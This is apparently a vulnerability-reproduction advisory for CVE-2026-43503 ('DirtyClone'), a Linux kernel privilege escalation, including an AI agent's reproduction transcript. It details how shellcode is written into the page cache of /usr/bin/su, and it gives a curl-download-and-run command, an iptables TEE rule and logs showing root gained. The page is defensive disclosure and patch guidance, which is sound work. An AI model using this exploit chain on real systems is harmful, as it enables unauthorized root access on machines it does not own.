CVE-2026-43503: Verified Reproduction
CVE-2026-43503: DirtyClone Linux kernel page-cache corruption privilege escalation
CVE-2026-43503 is verified against Linux kernel · linux. Vulnerability class: Privilege Escalation. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00212.
What Is CVE-2026-43503?
CVE-2026-43503, nicknamed DirtyClone, is a critical local privilege escalation vulnerability in the Linux kernel networking stack that allows an unprivileged local attacker to gain root code execution. Pruva reproduced it (reproduction REPRO-2026-00212).
CVE-2026-43503 Severity & CVSS Score
CVE-2026-43503 is rated high severity, with a CVSS base score of 8.8 out of 10.
High — serious impact or readily exploitable. Prioritize remediation.
How to Reproduce CVE-2026-43503
pruva-verify REPRO-2026-00212 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00212/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-43503
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
unprivileged local attacker with XFRM/ESP + netfilter TEE + vmsplice/splice zero-copy data
- __pskb_copy_fclone() path via netfilter TEE; in-place ESP decryption over file-backed page cache
How the agent worked
Root Cause and Exploit Chain for CVE-2026-43503
CVE-2026-43503, nicknamed DirtyClone, is a local privilege escalation flaw in the Linux kernel networking stack. When a socket buffer (skb) carries file-backed page-cache fragments, the SKBFL_SHARED_FRAG flag in skb_shinfo()->flags tells the XFRM/IPsec receive path that it must copy the data before decrypting in-place. Several skb fragment-transfer helpers (__pskb_copy_fclone(), skb_shift(), skb_gro_receive(), skb_gro_receive_list(), tcp_clone_payload(), and skb_segment()) fail to copy that flag to the new skb. A netfilter TEE clone therefore keeps the original page-cache reference but no longer reports itself as shared/file-backed, so esp_input() decrypts directly into the page-cache page of a root-owned setuid binary. By choosing the AES-CBC key/IV so the decrypted bytes are attacker-controlled shellcode, the attacker rewrites e.g. /usr/bin/su in RAM and obtains a root shell when the binary is executed.
- Package/component affected: Linux kernel networking stack — specifically the skb fragment-copy helpers and the XFRM/IPsec
esp_input()path. - Affected versions: Mainline Linux before v7.1-rc5; stable branches before 5.10.257, 5.15.208, 6.1.174, 6.6.141, 6.12.91, 6.18.33, and 7.0.10.
- Risk level and consequences: Local privilege escalation. An unprivileged local user with the ability to create user and network namespaces can gain root code execution by corrupting the page cache of a setuid root binary. The bug is reachable from the normal networking paths used by XFRM/IPsec and netfilter, so no special hardware or third-party modules are required beyond the standard kernel configuration.
Impact Parity
- Disclosed/claimed maximum impact: Local privilege escalation (
privilege_escalation) — unprivileged attacker writes into a root-owned read-only binary's page cache and gains root. - Reproduced impact from this run: Full privilege escalation demonstrated. The reproducer runs as uid 1000, modifies
/usr/bin/suin the page cache, and the subsequentecho id | /usr/bin/suas the same uid 1000 user printsuid=0(root) gid=0(root) groups=0(root). - Parity:
full. - Not demonstrated: N/A — the claimed root shell was obtained.
Root Cause
The bug is in the skb fragment-copy routines. __pskb_copy_fclone() (and the other helpers listed above) copy the fragment array and page references from one skb to another, but they do not propagate the SKBFL_SHARED_FRAG flag from the source skb_shinfo()->flags. This flag is set by the DirtyFrag splice fix (f4c50a4034e6) whenever an skb carries file-backed page-cache fragments via vmsplice()/splice()` into a socket.
When the netfilter TEE target clones an outbound ESP-in-UDP packet, the clone goes through nf_dup_ipv4() → __pskb_copy_fclone(). The clone keeps a reference to the same physical page-cache page but is no longer marked SKBFL_SHARED_FRAG. On the receive side, esp_input() calls skb_cow_data() which checks skb_has_shared_frag(). Because the flag is missing, the cow path is skipped and the in-place AES-CBC decryption writes attacker-controlled bytes into the file-backed page-cache page.
The upstream fix is commit 48f6a5356a33dd78e7144ae1faef95ffc990aae0 (first tag v7.1-rc5), which propagates the SKBFL_SHARED_FRAG flag across the fragment-transfer helpers. Ubuntu mainline v7.0.10 contains the backport, so it serves as the negative control in this reproduction.
Reproduction Steps
The reproduction is fully automated by bundle/repro/reproduction_steps.sh. In short, it:
- Installs QEMU, busybox-static, cpio, gcc, coreutils, and jq if they are not present.
- Uses the prepared project cache to obtain the Ubuntu mainline v7.0.9 (vulnerable) and v7.0.10 (fixed) kernels plus matching rootfs images.
- Compiles the rafaeldtinoco
dirtyclone.cexploit and a smallrunashelper that drops to uid 1000. - Builds a custom initramfs that:
- mounts the rootfs read-only,
- switches root into the Ubuntu rootfs,
- loads
xt_TEE,nf_dup_ipv4,esp4, andxfrm_user, - runs the exploit as an unprivileged uid 1000 user,
- executes
echo id | /usr/bin/suas the same uid 1000 user.
- Boots each kernel/rootfs pair in QEMU with the initramfs and captures the console output.
- Checks that the vulnerable run prints
LPE_SUCCESSanduid=0(root), while the fixed run printsLPE_FAILandsu: Authentication failure. - Writes
bundle/repro/runtime_manifest.jsonandbundle/repro/validation_verdict.json.
Expected evidence
bundle/logs/qemu_vuln.logmust contain:Linux (none) 7.0.9-070009-generic ...,[dc] wrote 192 bytes to /usr/bin/su starting at 0x0,uid=0(root) gid=0(root) groups=0(root)from theidcommand,LPE_SUCCESS: unprivileged user got root.
bundle/logs/qemu_fixed.logmust contain:Linux (none) 7.0.10-070010-generic ...,[dc] post-write verify failed (target unchanged),Password: su: Authentication failure,LPE_FAIL.
Evidence
bundle/logs/reproduction_steps.log— high-level script progress.bundle/logs/qemu_vuln.log— full console capture of the vulnerable kernel run showing the root shell.bundle/logs/qemu_fixed.log— full console capture of the fixed kernel run showing the exploit is blocked.bundle/repro/runtime_manifest.json— runtime evidence manifest.bundle/repro/validation_verdict.json— structured verdict (claim_outcome: confirmed).
Key excerpts from the vulnerable run:
[dc] cmd: iptables -t mangle -A OUTPUT -p udp --dport 4500 -j TEE --gateway 10.99.0.2 -> 0
[dc] installed 48 xfrm SAs
[dc] wrote 192 bytes to /usr/bin/su starting at 0x0
[dc] /usr/bin/su page-cache patched (entry 0x78 = shellcode)
=== LPE check as uid 1000 ===
uid=0(root) gid=0(root) groups=0(root)
LPE_SUCCESS: unprivileged user got root
Key excerpts from the fixed run:
[dc] wrote 192 bytes to /usr/bin/su starting at 0x0
[dc] post-write verify failed (target unchanged)
=== LPE check as uid 1000 ===
Password: su: Authentication failure
LPE_FAIL
The kernel configuration required for the path is present in both Ubuntu mainline builds: CONFIG_XFRM, CONFIG_INET_ESP, CONFIG_NETFILTER_XT_TARGET_TEE, and user namespaces.
Recommendations / Next Steps
- Upgrade: Apply the upstream fix
48f6a5356a33(or the corresponding stable backport). Ubuntu mainline v7.0.10 and later, and mainline v7.1-rc5 and later, are patched. - Mitigation until patched: Disable unprivileged user namespaces (
kernel.unprivileged_userns_clone=0) or prevent loading ofxt_TEE/esp4/nf_dup_ipv4for untrusted users, since the exploit requiresCAP_NET_ADMINin a private network namespace. - Testing: Backport validation should verify that
SKBFL_SHARED_FRAGsurvives__pskb_copy_fclone(),skb_shift(),skb_gro_receive(),skb_gro_receive_list(),tcp_clone_payload(), andskb_segment()by running this reproducer against the candidate kernel.
Additional Notes
- Idempotency: The script was run twice consecutively from a clean state and produced the same confirmed verdict both times.
- Isolation: The rootfs disk is mounted read-only inside the VM and the QEMU drive is opened with
readonly=on, so the host-side image files are not modified by the exploit. - Limitations: The reproduction depends on the prebuilt Ubuntu mainline kernels and rootfs in the project cache. The exploit path uses
udp/4500ESP-in-UDP encapsulation and a netfiltermangle/OUTPUTTEE rule to force the__pskb_copy_fclone()clone; any kernel configuration that lacks one of these components will fail closed, which is expected behavior for an incomplete path.
CVE-2026-43503 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Unknown error
ls -la /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf{"cwd":"/data/pruva/runs/0a5d30f2-96f7-4243-8385-9ad0524e1fda","duration_ms":7,"exit_code":0,"stderr":"","stdout":"total 507388\ndrwxr-xr-x 1 vscode vscode 1370 Jul 3 10:05 .\ndrwxr-xr-x 1 vscode vscode 1894 Jul 3 04:50 ..\ndrwxr-xr-x 1 vscode vscode 22 Jul 2 21:46 .pruva\ndrwxr-xr-x 1 vscode vscode 6 Jul 3 09:21 bond-mod-stage\ndrwxr-xr-x 1 vscode vscode 6 Jul 3 09:39 bond-mod-stage-7rc2\ndrwxr-xr-x 1 vscode vscode 18 Jul 3 09:10 bond-mods\ndrwxr-xr-x 1 vscode vscode 18 Jul 3 09:29 bond-mods-7rc2\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:11 bond-rootfs-\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:21 bond-rootfs-base\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:39 bond-rootfs-base-7rc2\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:11 bond-rootfs-fixed\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:39 bond-rootfs-fixed-7rc2\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:29 bond-rootfs-probe-7rc2\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:21 bond-rootfs-vuln\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:39 bond-rootfs-vuln-7rc2\ndrwxr-xr-x 1 vscode vscode 210 Jul 3 09:39 bond-var-rootfs-fixed\ndrwxr-… [truncated]find /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva -maxdepth 3 -type f -o -type l | head -50/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_attempt/proof_carry_manifest.json /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/proof_carry_manifest.json
Artifacts and Evidence for CVE-2026-43503
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-43503
FAQ: CVE-2026-43503
How does the DirtyClone privilege escalation attack work?
skb_cow_data() copy-on-write safeguard. This lets esp_input() decrypt directly into the page-cache page of a root-owned setuid binary; by choosing the AES-CBC key/IV so the decrypted bytes are attacker-controlled shellcode, an unprivileged local attacker (able to create user and network namespaces) can rewrite a binary like /usr/bin/su in RAM and obtain a root shell when it is executed.How severe is CVE-2026-43503?
How can I reproduce CVE-2026-43503?
esp_input() to decrypt attacker-controlled shellcode into a setuid root binary's page-cache page, and demonstrates a root shell when that binary is executed.References for CVE-2026-43503
Authoritative sources for CVE-2026-43503 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.